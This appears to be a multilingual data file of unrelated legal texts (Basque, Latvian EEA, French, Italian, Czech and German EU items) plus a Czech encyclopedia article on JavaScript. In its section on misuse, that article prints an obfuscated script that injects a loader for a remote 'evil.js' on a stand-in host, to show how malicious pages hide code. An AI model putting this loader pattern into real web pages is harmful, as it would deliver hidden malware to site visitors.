type: other

text:
DECRETO 128/1996, de 28 de mayo, por el que se regulan los establecimientos de alojamiento turístico en el medio rural. - BOPV. Boletín Oficial del País Vasco - Legislación - VLEX 15578853
 CAPÍTULO I.-. DE LAS DISPOSICIONES GENERALES - arts. 1 a 3
 CAPÍTULO II.-. DEL AGROTURISMO - arts. 4 a 19
 CAPÍTULO III.-. DEL CAMPING RURAL - arts. 20 a 24
 CAPITULO IV.-. DEL PROCEDIMIENTO DE AUTORIZACIÓN - arts. 25 a 29
 CAPÍTULO V.-. DE LAS SANCIONES - art. 30
 CAPÍTULO I.- DE LAS DISPOSICIONES GENERALES Artículos 1 a 3
 Artículo 1 Objeto.- El presente Decreto tiene como objeto la regulación de los servicios de alojamiento turístico prestados mediante precio en el medio rural, en establecimientos ubicados en el ámbito territorial de la Comunidad Autónoma del País Vasco.
 Artículo 2 Modalidades.-
 - Se entiende por agroturismo la prestación de los servicios de alojamiento, con o sin manutención y otros servicios complementarios, mediante precio, en establecimientos ubicados en el medio rural en las condiciones reguladas en el capítulo siguiente.
 - Tienen la consideración de hotel rural los establecimientos hoteleros situados en el medio rural, en edificios o construcciones que respondan a la arquitectura tradicional, típica de la comarca o zona.
 - Se define como casa rural el establecimiento en el que se prestan servicios de alojamiento mediante precio, en un edificio propio del medio rural en alguna de las modalidades reguladas en el reglamento que regule la ordenación de Apartamentos Turísticos y en el de Ordenación de las Viviendas Turísticas Vacacionales y Alojamiento en Casas Particulares.
 - Se entiende por camping rural, la instalación en los anexos o pertenecidos de los caseríos integrados en explotaciones agrícolas y habitados regularmente, de tiendas, albergues móviles caravanas u otros elementos similares transportables, siempre que estos elementos que se instalan, no excedan de cinco, ni de veinte el número de personas que los ocupen.
 CAPÍTULO II.- DEL AGROTURISMO Artículos 4 a 19
 Artículo 4 Requisitos del establecimiento.-
 - Los establecimientos de agroturismo deberán estar integrados en explotaciones agrarias, responder a las arquitecturas tradicionales de montaña o propias del medio rural y estar ubicados en núcleos rurales.
 - Tendrá la consideración de establecimiento de agroturismo el constituido por una dependencia o conjunto de ellas integradas y destinadas conjuntamente a vivienda y a satisfacer las necesidades de una explotación agrícola.
 - La vivienda habrá de ocupar la totalidad de las dependencias o una parte de las mismas con salida propia a un elemento común o a la vía pública.
 - El establecimiento deberá cumplir las condiciones de funcionamiento y prestación de servicios exigidas en cuanto a instalaciones y equipamientos.
 Artículo 5 Requisitos de la actividad.-
 Artículo 6 Requisitos subjetivos.-
 Artículo 7 Capacidad del establecimiento.
 Artículo 8 Requisitos Técnicos.
 - El establecimiento habrá de estar dotado de las siguientes instalaciones y equipamientos de carácter mínimo:
 Los pasillos y escaleras habrán de tener una anchura mínima de 1m.
 Las habitaciones dobles habrán de disponer de una superficie de 12 m2 y las individuales de 7 m2. como mínimo siempre que el baño o aseo no esté incorporado a las mismas. La altura mínima de las habitaciones será de 2,5 m. En las habitaciones abuhardilladas la altura mínima deberá abarcar, al menos, el 60% de la superficie.
 Ventilación directa al exterior por medio de uno o más huecos cuya suma de superficie mínima no sea inferior a 1,20 m2., excluyendo el marco, y al 8% de la superficie en planta de la habitación. Las ventanas deberán estar dotadas de contraventanas o persianas que aseguren la oscuridad de la habitación.
 El establecimiento deberá estar equipado con un baño completo por cada cuatro clientes, y para uso exclusivo de estos, provisto de lavabo o evacuatorio, bañera y bidé, habrá de estar situado en la misma planta y en la proximidad de las habitaciones, salvo que el baño esté incorporado en la habitación, en cuyo caso se entenderá que es de uso exclusivo de los...


type: contracts

jurisdiction: EU

text:
 19.5.2016
 LV
 Eiropas Savienības Oficiālais Vēstnesis
 L 129/18
 EEZ APVIENOTĀS KOMITEJAS LĒMUMS
 Nr. 43/2015
 (2015. gada 20. marts),
 ar ko groza EEZ līguma II pielikumu (Tehniskie noteikumi, standarti, testēšana un sertifikācija) [2016/726]
 EEZ APVIENOTĀ KOMITEJA,
 ņemot vērā Līgumu par Eiropas Ekonomikas zonu (“EEZ līgums”) un jo īpaši tā 98. pantu,
 tā kā:
 (1)
 EEZ līgumā jāiekļauj Eiropas Parlamenta un Padomes 2014. gada 26. februāra Direktīva 2014/33/ES par dalībvalstu tiesību aktu saskaņošanu attiecībā uz liftiem un liftu drošības sastāvdaļām (1).
 (2)
 No 2016. gada 20. aprīļa ar Direktīvu 2014/33/ES atceļ Eiropas Parlamenta un Padomes Direktīvu 95/16/EK (2), kas ir iekļauta Līgumā un tāpēc no 2016. gada 20. aprīļa ir jāatceļ saskaņā ar Līgumu.
 (3)
 Tādēļ būtu attiecīgi jāgroza EEZ līguma II pielikums,
 IR PIEŅĒMUSI ŠO LĒMUMU.
 1. pants
 EEZ līguma II pielikuma III nodaļu groza šādi:
 1)
 pēc 5. punkta (Eiropas Parlamenta un Padomes Direktīva 95/16/EK) iekļauj šādu punktu:
 “6.
 32014 L 0033: Eiropas Parlamenta un Padomes 2014. gada 26. februāra Direktīva 2014/33/ES par dalībvalstu tiesību aktu saskaņošanu attiecībā uz liftiem un liftu drošības sastāvdaļām (OV L 96, 29.3.2014., 251. lpp.).”;
 2)
 nodaļas 5. punkta (Eiropas Parlamenta un Padomes Direktīva 95/16/EK) tekstu svītro no 2016. gada 20. aprīļa;
 3)
 zem virsraksta “TIESĪBU AKTI, KAS LĪGUMSLĒDZĒJĀM PUSĒM JĀŅEM VĒRĀ” 6. punktu (Komisijas Ieteikums 95/216/EK) pārnumurē par 1. punktu.
 2. pants
 Direktīvas 2014/33/ES teksts islandiešu un norvēģu valodā, kas jāpublicē Eiropas Savienības Oficiālā Vēstneša EEZ papildinājumā, ir autentisks.
 3. pants
 Šis lēmums stājas spēkā 2015. gada 21. martā, ja ir iesniegti visi paziņojumi saskaņā ar EEZ līguma 103. panta 1. punktu (*).
 4. pants
 Šo lēmumu publicē Eiropas Savienības Oficiālā Vēstneša EEZ iedaļā un tā EEZ papildinājumā.
 Briselē, 2015. gada 20. martā
 EEZ Apvienotās komitejas vārdā –
 priekšsēdētājs
 Gianluca GRIPPA
 (1) OV L 96, 29.3.2014., 251. lpp.
 (2) OV L 213, 7.9.1995., 1. lpp.
 (*) Konstitucionālās prasības nav norādītas.


type: legislation

text:
 Avis juridique important
 |
 31996D0677
 Décision du Conseil du 25 novembre 1996 concernant la prorogation de la position commune 95/544/PESC relative au Nigeria
 Journal officiel n° L 315 du 04/12/1996 p. 0003 - 0003
 DÉCISION DU CONSEIL du 25 novembre 1996 concernant la prorogation de la position commune 95/544/PESC relative au Nigeria (96/677/PESC)LE CONSEIL DE L'UNION EUROPÉENNE,vu le traité sur l'Union européenne, et notamment son article J.2,considérant que, le 4 décembre 1995, le Conseil a défini la position commune 95/544/PESC (1) relative au Nigeria;considérant que, par la position commune 96/361/PESC (2), la validité de la position commune 95/544/PESC a été prorogée jusqu'au 4 décembre 1996;considérant que, à la lumière des considérations du point 3 de la position commune 95/544/PESC, ladite position commune devrait faire l'objet d'une nouvelle prorogation,DÉCIDE:1. La position commune 95/544/PESC est prorogée jusqu'au 4 juin 1997.2. La présente décision est publiée au Journal officiel.Fait à Bruxelles, le 25 novembre 1996.Par le ConseilLe présidentD. SPRING(1) JO n° L 309 du 21. 12. 1995, p. 1.(2) JO n° L 143 du 15. 6. 1996, p. 1.


text:
Vendite sottoposte a condizione
 9 luglio 2016 | Autore: Edizioni Simone
 > L’esperto Pubblicato il 9 luglio 2016
 Vendita con patto di riscatto, vendita dei beni di consumo, vendita rateale con riserva di proprietà.
 1 Vendita con patto di riscatto
 2 Vendita rateale con riserva di proprietà
 3 La vendita dei beni di consumo
 Ricorre quando il venditore si riserva il diritto di riavere la proprietà della cosa alienata mediante la restituzione del prezzo (art. 1500). Si tratta, secondo parte della dottrina (GRECO, COTTINO), di una vendita sottoposta a condizione risolutiva potestativa, la quale, risolvendo retroattivamente il contratto, produrrebbe l’immediato ritorno del bene nel patrimonio del venditore. Secondo altra tesi (BIANCA), invece, il riscatto andrebbe configurato come diritto potestativo di recesso. L’istituto risponde all’esigenza di consentire al venditore di procurarsi danaro contante, con la possibilità di riavere il bene. Il patto di restituire un prezzo superiore a quello stipulato per la vendita è nullo per l’eccedenza (art. 1500). La legge, inoltre, stabilisce un termine massimo per il riscatto e a tale termine si riducono quelli eventualmente più lunghi apposti dalle parti (art. 1501): due anni, per i beni mobili; cinque anni, per i beni immobili. Il venditore può esercitare il diritto di riscatto anche nei confronti dei successivi acquirenti (purché il patto sia trascritto).
 Vendita rateale con riserva di proprietà
 È una forma particolare di vendita in cui le parti stabiliscono che il prezzo venga pagato frazionatamente entro un certo tempo: la cosa viene consegnata subito, ma la proprietà passa al compratore solo dopo il pagamento dell’ultima rata del prezzo medesimo (art. 1523). In sostanza, l’effetto reale della vendita è sottoposto alla condizione sospensiva del pagamento integrale, mentre gli altri effetti (consegna, godimento della cosa etc.) si verificano immediatamente, in conseguenza della conclusione del contratto. La legge ha voluto tutelare il compratore contro patti vessatori in passato assai diffusi in questo tipo di vendita. Ha così dichiarato inefficace la clausola secondo cui il mancato pagamento di una sola rata dà luogo alla risoluzione, se questa rata non superi l’ottava parte del prezzo (art. 1525). Inoltre, se il contratto è risolto per inadempimento del compratore, questi ha diritto alla restituzione delle rate pagate, salvo un equo compenso al venditore per l’uso della cosa, oltre al risarcimento del danno (art. 1526). Colui che acquista a rate non può alienare il bene fino a quando non ne ha acquistato la proprietà: l’alienazione integra, anzi, gli estremi del delitto di appropriazione indebita (art. 646 c.p.).
 Il D.Lgs. 2-2-2002, n. 24 — di attuazione della direttiva 1999/44/CE su taluni aspetti della vendita e delle garanzie dei beni di consumo — aveva introdotto nel Libro IV del codice civile gli articoli da 1519bis a 1519nonies al fine di disciplinare taluni aspetti dei contratti di vendita (al contratto di vendita sono equiparate permuta e somministrazione) e delle garanzie concernenti i beni di consumo. Gli articoli citati sono stati abrogati e recepiti nel D.Lgs. 6-9-2005, n. 206 (Codice del Consumo) che disciplina attualmente la materia. Possono definirsi beni di consumo tutti i beni mobili, anche da assemblare, ad esclusione di:
 – beni oggetto di vendita forzata o venduti da autorità giudiziarie;
 – acqua e gas (a meno che non siano confezionati per la vendita in quantità o volume determinati);
 – energia elettrica.
 In particolare, in caso di vendita di beni di consumo, il venditore ha l’obbligo di consegnare al consumatore beni conformi al contratto di vendita ed è responsabile nei confronti del consumatore stesso per qualsiasi difetto di conformità esistente al momento della consegna del bene. In caso di difetto di conformità, il consumatore ha diritto al ripristino, senza spese, della conformità del bene ovvero ad una riduzione adeguata del prezzo o alla risoluzione del contratto secondo le regole di cui all’art. 130, D.Lgs. 206/2005.
 Il consumatore decade dai diritti previsti dalle norme in esame se non denuncia al venditore il difetto di conformità entro due mesi dalla scoperta (ma la denuncia non è necessaria se il venditore ha riconosciuto l’esistenza del difetto o l’ha occultato). Il venditore finale (responsabile verso il consumatore) ha diritto di regresso nei confronti del produttore o di un precedente venditore o intermediario cui sia imputabile il difetto di conformità. Qualsiasi patto, anteriore alla comunicazione al venditore del difetto di conformità, finalizzato a limitare o escludere, i diritti riconosciuti dalla normativa in esame, è nullo. La nullità può essere fatta valere solo dal consumatore e può essere rilevata d’ufficio dal giudice.


type: wikipedia

text:
JavaScript je multiplatformní, objektově orientovaný, událostmi řízený skriptovací jazyk, jehož autorem je Brendan Eich z někdejší společnosti Netscape. Jeho syntaxe (zápis zdrojového textu) patří do rodiny jazyků C/C++/Java, ale JavaScript je od těchto jazyků zásadně odlišný sémanticky (funkčně, principiálně), jde o jiný jazyk. Slovo Java je součástí jeho názvu pouze z marketingových důvodů. JavaScript byl v červenci 1997 standardizován asociací ECMA (European Computer Manufacturers Association) a v srpnu 1998 ISO (International Organization for Standardization). Standardizovaná verze JavaScriptu je pojmenována ECMAScript a z ní byly odvozeny i další implementace, jako je například ActionScript. JavaScript byl původně obchodní název implementace společnosti Netscape, kde byl vyvíjen nejprve pod názvem Mocha, později LiveScript, ohlášen byl společně se společností Sun Microsystems v prosinci 1995 jako doplněk k jazykům HTML a Java. Pro verzi firmy Microsoft je použit název JScript. Ten je podporován platformou .NET.
 Nejčastější použití JavaScriptu v současnosti zahrnují:
 Webové stránky, do kterých je často vkládaný přímo jako součást HTML kódu stránky. Interpretaci v tomto případě provádí webový prohlížeč návštěvníka stránky. Jsou jím obvykle ovládány různé interaktivní prvky GUI (tlačítka, textová políčka) nebo tvořeny animace a efekty obrázků. Prakticky to znamená, že se program v JavaScriptu obvykle spouští až po stažení webové stránky z Internetu (tzv. na straně klienta), na rozdíl od ostatních jiných interpretovaných programovacích jazyků (např. PHP a ASP), které se spouštějí na straně serveru ještě před stažením z Internetu. Z toho plynou jistá bezpečností omezení – v prohlížeči spouštěný JavaScript např. nemůže pracovat se soubory, aby tím neohrozil soukromí uživatele.
 JavaScript se využívá i na straně serveru. První implementací JavaScriptu na straně serveru byl LiveWire firmy Netscape vydaný roku 1996. Dnes existuje několik možností včetně opensource implementace Rhinola založené na Rhino, gcj, Node.js, Deno a Apache. Událostmi řízená architektura je dělá vhodnými pro tvorbu serverových aplikací, které pracují v reálném čase.
 Také je možno jej spouštět v operačních systémech Windows pomocí programu Windows Script Host a nahradit tak dávkové soubory MS-DOS. Manipulaci se soubory lze například provádět za pomoci objektu FileSystemObject, který se používá i na výše zmíněných serverech.
 Kromě DHTML se JavaScript používá k psaní rozšíření pro mnohé aplikace, například Adobe Acrobat.
 Rysy objektově orientovaného programování
 Dynamické
 Dynamické přiřazení typů (Dynamic typing)
 Stejně jako ve většině skriptovacích jazyků, jsou typy asociovány s hodnotami místo proměnných. Kupříkladu proměnné x může být přiřazena hodnota v podobě celočíselného typu, později řetězce atd. JavaScript operatory ===, typeof a instanceof umožňují otestování typu objektu.
 Objekty jako asociativní pole (objects as associative fields)
 JavaScript je převážně objektově založený. Objekty jsou asociativními poli rozšířenými o tzv. prototypy (viz níže). Názvy atributů objektů jsou klíči asociativního pole; obj.x = 10 a obj["x"] = 10 jsou tedy ekvivalentními výrazy. První varianta používá oddělení pomocí znaku tečky především pro zjednodušující účely. Atributy a jejich hodnoty mohou být přidávány, měněny nebo mazány za běhu programu. Atributy objektu mohou být rovněž vyčteny pomocí for ... in cyklu. V tom se však promítnou i zděděné vlastnosti (z prototypu). Pokud se toho chceme vyvarovat, je dobré použít ještě metodu hasOwnProperty.
 Runtime evaluation (= míra možných akcí proveditelných za běhu programu)
 Pro úplnost nutno zmínit, že JavaScript v sobě zahrnuje funkci eval, která je schopna provádět příkazy předávané jako řetězce přímo za běhu programu, což je však celkem běžným rysem interpretovaných jazyků, nejedná se tedy o žádnou specialitu JavaScriptu jako takového.
 Funkcionální
 Funkce první třídy (first-class functions)
 Označení funkce první třídy vyjadřuje, že jsou funkce objekty. Mají tedy své atributy a mohou být předány dále. Lze s nimi manipulovat jako s kterýmkoli jiným objektem. Níže jsou uvedeny další významy funkcí (jako konstruktory a metody).
 Anonymní (vnitřní) funkce a uzávěry (closures)
 Vnitřní funkce neboli funkce definované uvnitř jiných – vnějších funkcí, jsou vytvořeny při každém zavolání nadřazené funkce. Proměnné funkcí vnějších existují po dobu existence funkce vnitřní. Dokonce i po ukončení volání – po návratu z vnější funkce, má daná vnitřní funkce stále přístup k proměnným své vnější funkce – toto je mechanismus nazývaný v JavaScriptu jako uzávěry ().
 Prototypové (prototype-based)
 Prototypy (Prototypes)
 Přestože JavaScript nedisponuje klasickým konceptem třída–instance, typickým pro objektově orientované jazyky, disponuje rysem, který tento mechanismus částečně nahrazuje – prototypováním. Díky prototypování je dále JavaScript schopen simulovat mnoho principů a vlastností mechanismůzaložených na třídách (). Například dědičnost, která je u JavaScriptu nazývána právě jako dědičnost prototypová, která je vysvětlena na příkladu níže.
 Funkce jako konstruktory objektů (Functions as constructors)
 Funkce lze v JavaScriptu použít jako konstruktory objektů. Voláním konstruktoru pomocí operátoru new se vytvoří nový objekt (instance). Vlastnosti objektu se deklarují přes klíčové slovo this. Při vytváření objektu lze jednotlivé vlastnosti objektu inicializovat předáním hodnot parametrům volaného konstruktoru. Atribut prototype dané funkce potom určuje prototyp nově vytvořeného objektu. Příklad konstruktoru třídy Auto:
 // Definice konstruktoru
 function Auto(znacka, spz) {
 this.znacka = znacka;
 this.spz = spz;
 this.vypisZnacku = function () {
 alert(this.znacka);
 };
 }
 // Vytvoření nového auta
 var mojeAuto = new Auto("mercedes", "3A4983");
 // Zavolání metody
 mojeAuto.vypisZnacku();
 Funkce jako metody (Functions as methods)
 Na rozdíl od většiny objektově orientovaných jazyků JavaScript nerozlišuje mezi definicí metody a definicí funkce. Rozdíl nastane při volání – funkce může být volána jako metoda. Je-li funkce volána jako metoda objektu, je se svým objektem svázána klíčovým slovem this.
 Dědičnost (Inheritance)
 Ačkoliv má JavaScript určité prvky dědičnosti, nejedná se o klasickou dědičnost známou z typových jazyků C++ nebo Java. JavaScript nepodporuje zápis tříd (pouze konstruktor) a s tím spojenou hierarchii tříd, proto lze hovořit spíše o jakési simulaci (viz oddíl prototypy výše) dědičnosti, nazvanou dědičnost prototypová. Prototyp slouží jako zvláštní objekt, který je přidružen každé funkci (tedy i k funkci jako konstruktoru). Všechny objekty inicializované skrze nějaký konstruktor dědí, respektive sdílejí, vlastnosti a metody obsažené právě v prototypu daného konstruktoru.
 Podíváte-li se zpět na zápis konstruktoru Auto, v objektu je také metoda vypisZnacku(). Technicky má v paměti každá instance této „třídy“ lokální kopii této metody, což je přinejmenším z hlediska správy paměti nevhodné. Právě tento problém řeší prototypy, neboť stačí metodu deklarovat na úrovni prototypu a ta již nebude součástí každé instance. To ovšem neznamená, že nebude dosažitelná. Při vyhodnocování JavaScript metodu nejprve hledá v příslušném objektu, pakliže ji nenajde, jde o úroveň výše – do prototypu konstruktoru. Je vhodné sdílení pouze takových datových složek, které jsou neměnné pro všechny instance – především metody a konstanty. Upravený zápis předchozího příkladu:
 // Definice konstruktoru
 function Auto(znacka, spz) {
 this.znacka = znacka;
 this.spz = spz;
 }
 Auto.prototype.vypisZnacku = function () {
 alert(this.znacka);
 };
 Systém dědičnosti nadřazených a podřazených tříd sice v JS neexistuje, ale pomocí prototypů ji lze úspěšně simulovat. Celý princip dědění spočívá v tvorbě nových prototypů. Máme-li třídu VesmirnyObjekt, třídu Planeta podřídíme tím, že přiřadíme konstruktoru Planeta jako prototyp () objekt VesmirnyObjekt:
 function VesmirnyObjekt(soustava) {
 this.soustava = soustava || "Sluneční";
 }
 function Planeta(soustava, jmeno, pocetMesicu) {
 this.parent(soustava); // Zde zavoláme konstruktor rodiče a předáme mu soustavu
 this.jmeno = jmeno;
 this.pocetMesicu = pocetMesicu || 0;
 }
 // Podporováno od ES 5, tuto funkci je možné dodefinovat (ukázka např. na MDN):
 Planeta.prototype = Object.create(VesmirnyObjekt.prototype);
 // Je dobrým zvykem, aby vlastnost constructor odkazovala na správnou funkci (Object.create tuto vlastnost přepsala):
 Planeta.prototype.constructor = Planeta;
 // A nakonec přiřadíme do prototypu odkaz na rodiče:
 Planeta.prototype.parent = VesmirnyObjekt;
 // Vytvoříme novou instanci planety:
 var planeta = new Planeta("Alfa Centauri", "Terra Nova", 2);
 alert("Soustava: " + planeta.soustava
 + ", planeta: " + planeta.jmeno
 + ", počet měsíců: " + planeta.pocetMesicu);
 Výjimky (Exceptions)
 Výjimky jsou společným rysem objektově orientovaných jazyků. Jedná se o mechanismus zachytávání stavu (chyb) vyvolaného chybným kódem. Například přístupem k neexistující metodě. Tyto chyby lze zachytávat a ošetřovat pomocí klíčových slov try, catch a volitelně finally. Na rozdíl od jiných jazyků může být v JavaScriptu výjimka jakéhokoli typu, tzn. můžeme vyvolat jako výjimku i řetězec nebo číslo:
 function Person(name) {
 if (!name) {
 throw "You have to define the person's name!";
 }
 this.name = name;
 }
 try {
 var person = new Person();
 } catch (ex) {
 alert(typeof ex); // Bude string
 alert(ex); // Vypíše obsah hlášky
 }
 Je však dobrým zvykem vyvolávat výjimky s typem Error či podobnými.
 Rozšíření asm.js
 Asm.js je podmnožina programovacího jazyka JavaScript navržená Mozillou. Je určena pro výrazné zrychlení běhu javascriptových aplikací, podobně jako technologie NaCl a jazyk Dart od Google. V současné době (prosinec 2013) dosahuje rychlost na hodnoty jen asi o 50 % nižší než je kód generovaný překladači. Zejména hry napsané původně pro PC, typicky v jazyce C nebo C++.
 Prohlížeče, které tuto podmnožinu JavaScriptu podporují, jsou v současné době (květen 2018) Mozilla Firefox, Google Chrome, Opera a Microsoft Edge.
 Podpora JavaScriptu ve webových prohlížečích
 Webový prohlížeč uživatele dané webové stránky může mít JavaScript explicitně vypnutý, popřípadě je na stránku přistupováno způsobem (daným kombinací daného zařízení, platformy, hardwarových nároků, nebo toho, přistupuje-li člověk či program), který JavaScript nespustí.
 Podle údajů firmy Yahoo z roku 2010 je podíl stránek načtených bez spuštění JavaScriptu 1,3 % (celosvětový průměr), od 0,25 % v Brazílii po 2 % v USA.
 V rámci tzv. webové přístupnosti by se při vývoji webu mělo vždy dbát na správné zobrazení stránky bez ohledu na podporu skriptování na straně klienta.
 Zneužívání JavaScriptu
 Protože je JavaScript součástí většiny prohlížečů, existuje snaha o jeho zneužití. Aby byl škodlivý kód nesnadno zjistitelný, kromě jeho umísťování na jiné servery bývá HTML kód, který zajistí jeho načtení, maskován různými technikami. Možnými technikami je ukrytí HTML kódu zpřístupňující škodlivý JavaScript do skrytého elementu IFRAME nebo použití nečitelného kódu v samotném JavaScriptu, který HTML kód zpřístupňující škodlivý kód vygeneruje po načtení stránky.
 Co se týká druhé možnosti, např. kód:
 <script>
 try{window.onload = function() {
 var Q236s4ic4454clw = document.createElement('script');
 Q236s4ic4454clw.setAttribute('type', 'text/javascript');
 Q236s4ic4454clw.setAttribute('id', 'myscript1');
 Q236s4ic4454clw.setAttribute('src', 'h(t)!^t^))p#@:&&/(##/&$#e^$$x^@)(a&(m$^)p))#$l^e$#.!^)^o$$$&r@$g#^/$!#e#&(v((i!!l)(@.)&j((s@^^'.***);
 // místo "***" má být "replace(/\(|\!|&|#|\$|\)|@|\^/ig, '')" - toto řešení je nutné z důvodu blokování načítání této stránky antivirovými programy
 Q236s4ic4454clw.setAttribute('defer', 'defer');
 document.body.appendChild(Q236s4ic4454clw);
 }
 catch(e) {}
 </script>
 vygeneruje HTML kód:
 <script defer="defer" src="http://example.org/evil.js" id="myscript1" type="text/javascript"></script>
 který vlastní škodlivý kód načte z vnější adresy mimo napadený server.
 Použití mimo webové stránky
 Kromě webových prohlížečů a serverů je interpret JavaScriptu vestavěný v mnoha různých nástrojích. Každý z těchto nástrojů poskytuje vlastní objektový model, který poskytuje přístup k hostitelskému prostředí. Jádro JavaScriptu zůstává většinou stejné v každé aplikaci.
 Vestavěný scriptovací jazyk
 Většina rozšíření pro webové prohlížeče je implementována použitím JavaScriptu, např. rozšíření Chrome, Safari, Opera atd.
 Některé NoSQL datábáze jako je MongoDB nebo CouchDB akceptují dotazy napsané v JavaScriptu.
 Acrobat and Adobe Reader podporují JavaScript v souborech typu PDF.
 Nástroje v Adobe Creative Suite, včetně Photoshop, Illustrator, Dreamweaver a InDesign umožňují skriptování pomocí JavaScriptu.
 Kancelářský balík aplikací OpenOffice a LibreOffice umožňuje JavaScript používat jako skriptovací jazyk.
 Interaktivní zpracování signálu hudebního software Max/MSP nabízí v jeho prostředí model JavaScriptu pro použití vývojářům. To umožňuje mnohem přesnější ovládání než výchozí programovací model GUI-centric.
 Digitální software Apple Logic Pro X audio workstation umožňuje vytvořit vlastní MIDI efekty pluginy pomocí JavaScriptu.
 ECMAScript byl zahrnut v normě VRML97 pro skriptování uzlů souborů VRML.
 Herní engine Unity 3D ve starších verzích podporoval upravenou verzi JavaScriptu pro skriptování pomocí Mono.
 DX Studio (3D engine) používá implementaci JavaScriptu SpiderMonkey pro hry a simulace logiky.
 Maxwell Render poskytuje skriptovací engine ECMA standardu pro automatizaci úkolů.
 Google Apps Script v tabulkách Google a Google Sites umožňuje uživatelům vytvářet vlastní vzorce, automatizovat opakující se úlohy a také komunikovat s ostatními produkty Google jako je Gmail.
 Mnoho klientů IRC, jako je ChatZille nebo XChat, používají JavaScript pro jejich scriptovací činnosti.
 Produkty SpinetiX používají SpiderMonkey JavaScript pro scriptování v SVG souborech.
 Platformy ObjectGears, ServiceNow
 Skriptovací engine
 Technologie Active Scripting od Microsoftu podporuje JavaScript jako skriptovací jazyk.
 Programovací jazyk Java v 6. verzi představil balíček javax.script, který obsahuje implementaci JavaScriptového enginu Rhino. Java aplikace tak mohou hostit skripty, které přistupují k proměnným a objektům této aplikace, stejně jako webové prohlížeče, kde skripty mohou přistupovat k objektovému modelu dokumentu webové stránky.
 Nástroj Qt C++ obsahuje modul QtScript, který interpretuje JavaScript stejně jako Java balíček javax.script.
 Vývojové nástroje
 Vzhledem k tomu, že při programování pro různé webové prohlížeče mohou nastat implementační rozdíly (zvláště v objektovém modelu dokumentu), je vhodné mít přístup k debuggeru v každém webovém prohlížeči, na které je aplikace zaměřena.
 Debuggery jsou dostupné pro Internet Explorer, Firefox, Safari, Google Chrome, Opera a Node.js.
 Odkazy
 Reference
 Související články
 AJAX – pro komunikaci iniciovanou klientem (webovou stránkou)
 WebSocket – pro obousměrnou komunikaci webové stránky se serverem (klient–server)
 jQuery UI
 JQuery Mobile
 Externí odkazy
 JavaScript: How Did We Get Here? – Historie vzniku jazyka
 Do hlubin implementací JavaScriptu – Seriál na Zdrojak.cz
 JakPsatWeb
 w3schools.com
 Skriptovací jazyky


type: caselaw

text:
 18.12.2004
 CS
 Úřední věstník Evropské unie
 C 314/10
 Žaloba podaná dne 10. listopadu 2004 Komisí Evropských společenství proti Helénské republice
 (Věc C-474/04)
 (2004/C 314/20)
 Soudnímu dvoru Evropských společenství byla dne 10. listopadu 2004 předložena žaloba směřující proti Helénské republice podaná Komisí Evropských společenství, zastoupenou M. Condou-Durande a C. O'Reilly, jako zmocněnkyněmi.
 Komise Evropských společenství navrhuje, aby Soudní dvůr:
 —
 určil, že Helénská republika tím, že nepřijala právní a správní předpisy nezbytné pro dosažení souladu se směrnicí Rady 2001/40/ES ze dne 28. května 2001 o vzájemném uznávání rozhodnutí o vyhoštění státních příslušníků třetích zemí (1), a v každém případě tím, že neoznámila tyto předpisy Komisi, nesplnila své povinnosti, které pro ni vyplývají z článku 8 této směrnice;
 —
 uložil Helénské republice náhradu nákladů řízení.
 Žalobní důvody a hlavní argumenty:
 Lhůta pro provedení směrnice ve vnitrostátním právním řádu uplynula dne 2. prosince 2002.
 (1) Úř. věst. L 149, 2.6.2001, s. 34.


text:
 Avis juridique important
 |
 31988L0194
 Richtlinie 88/194/EWG der Kommission vom 24. März 1988 zur Anpassung der Richtlinie 71/320/EWG des Rates zur Angleichung der Rechtsvorschriften der Mitgliedstaaten über die Bremsanlagen bestimmter Klassen von Kraftfahrzeugen und deren Anhängern an den technischen Fortschritt
 Amtsblatt Nr. L 092 vom 09/04/1988 S. 0047 - 0049 Finnische Sonderausgabe: Kapitel 13 Band 17 S. 0045 Schwedische Sonderausgabe: Kapitel 13 Band 17 S. 0045
 RICHTLINIE DER KOMMISSION vom 24 . März 1988 zur Anpassung der Richtlinie 71/320/EWG des Rates zur Angleichung der Rechtsvorschriften der Mitgliedstaaten über die Bremsanlagen bestimmter Klassen von Kraftfahrzeugen und deren Anhängern an den technischen Fortschritt ( 88/194/EWG ) ( 88/194/EWG ) DIE KOMMISSION DER EUROPÄISCHEN GEMEINSCHAFTEN - gestützt auf den Vertrag zur Gründung der Europäischen Wirtschaftsgemeinschaft, gestützt auf die Richtlinie 71/320/EWG des Rates vom 26 . Juli 1971 zur Angleichung der Rechtsvorschriften der Mitgliedstaaten über die Bremsanlagen bestimmter Klassen von Kraftfahrzeugen und deren Anhänger ( 1 ), zuletzt geändert durch die Richtlinie 85/647/EWG der Kommission ( 2 ), insbesondere auf Artikel 5, in Erwägung nachstehender Gründe : Angesichts der auf dem Gebiet der Bremstechnik im allgemeinen und bei der Herstellung von Blockierverhinderungssystemen im besonderen erzielten Fortschritte ist es nunmehr möglich, Bestimmungen zu erlassen, die die Ausrüstung bestimmter schwerer Fahrzeuge und deren Anhänger mit solchen Systemen gemäß dieser Richtlinie zwingend vorschreiben, um so zur Erhöhung der Strassenverkehrssicherheit beizutragen . Die in dieser Richtlinie vorgesehenen Maßnahmen entsprechen der Stellungnahme des Ausschusses für die Anpassung der Richtlinie zur Beseitigung der technischen Handelshemmnisse bei Kraftfahrzeugen an den technischen Fortschritt - HAT FOLGENDE RICHTLINIE ERLASSEN : Artikel 1 Die Anhänge I und X der Richtlinie 71/320/EWG werden nach Maßgabe des Anhangs dieser Richtlinie geändert . Artikel 2 ( 1 ) Ab 1 . Oktober 1988 dürfen die Mitgliedstaaten aus Gründen, die sich auf die Bremsanlagen beziehen, - für einen Fahrzeugtyp die EWG-Betriebserlaubnis oder die Ausstellung der in Artikel 10 Absatz 1 letzter Gedankenstrich der Richtlinie 70/156/EWG ( 3 ) vorgesehenen Bescheinigung oder die Betriebserlaubnis mit nationaler Geltung nicht verweigern oder - die Erstzulassung von Fahrzeugen nicht untersagen, sofern die Bremsanlagen dieses Fahrzeugtyps oder dieser Fahrzeuge den Vorschriften der Richtlinie 71/320/EWG in der durch die vorliegende Richtlinie geänderten Fassung entsprechen . ( 2 ) Ab 1 . Oktober 1989 dürfen die Mitgliedstaaten - die in Artikel 10 Absatz 1 letzter Gedankenstrich der Richtlinie 70/156/EWG vorgesehene Bescheinigung nicht mehr für einen Fahrzeugtyp ausstellen, dessen Bremsanlagen nicht den Vorschriften der Richtlinie 71/320/EWG in der durch die vorliegende Richtlinie geänderten Fassung entsprechen, - die Betriebserlaubnis mit nationaler Geltung für Fahrzeugtypen verweigern, deren Bremsanlagen nicht den Vorschriften der Richtlinie 71/320/EWG in der durch die vorliegende 